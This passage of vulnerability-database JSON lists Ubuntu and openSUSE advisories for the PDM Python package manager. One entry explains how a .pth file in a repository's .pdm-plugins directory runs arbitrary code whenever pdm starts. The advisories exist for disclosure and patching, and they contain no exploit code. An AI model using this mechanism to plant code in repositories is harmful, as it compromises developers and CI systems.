explicitly.","status":"published","published":"2026-07-13T15:46:16.159273Z","modified":"2026-07-13T16:32:55.809295075Z","cvss":[{"version":"4.0","score":8.4,"vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","level":"high"}],"updated_at":"2026-11-02T15:52:56.429374Z"},{"id":"UBUNTU-CVE-2026-47781","description":"PDM is a Python package and dependency manager. In versions up to and including 2.26.9, PDM automatically loads project-local plugins from a .pdm-plugins directory during initialization, allowing an attacker-controlled file in an untrusted repository checkout to execute arbitrary Python code before any command is parsed. This happens because load_plugins() runs during Core.init() and adds .pdm-plugins via site.addsitedir(), which processes .pth files and immediately executes any line beginning with import, so the code runs with the privileges of the user invoking pdm and even a benign command such as pdm --version triggers it (making the impact strongest in CI, automation, and privileged contexts). The issue is fixed in version 2.27.0.","status":"published","published":"2026-08-04T19:16:00Z","modified":"2026-10-17T12:58:27.587247875Z","cvss":[{"version":"4.0","score":8.4,"vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","level":"high"}],"updated_at":"2026-11-02T16:56:33.391918Z"},{"id":"openSUSE-SU-2026:11124-1","title":"python311-pdm-2.28.0-1.1 on GA media","description":"These are all security issues fixed in the python311-pdm-2.28.0-1.1 package on the GA media of openSUSE Tumbleweed.","status":"published","published":"2026-06-25T00:00:00Z","modified":"2026-06-26T08:15:05.852141134Z","updated_at":"2026-11-02T16:58:38.95195Z"},{"id":"openSUSE-SU-2026:21161-1","title":"Security update for python-pdm","description":"This update for python-pdm fixes the following issues:\n\nChanges in python-pdm:\n\n- CVE-2026-47763: Do not follow symlinks when writing config files (bsc#1268384)\n- CVE-2026-47763: Do not write to paths outside the scheme dir (bsc#1268385)\n- CVE-2026-47781: Update plugin installation path to use project_plugins_dir (bsc#1268386)\n","status":"published","published":"2026-06-26T07:50:46Z","modified":"2026-06-30T18:24:46.573756651Z","updated_at":"2026-11-02T16:58:41.885092Z"}]}}
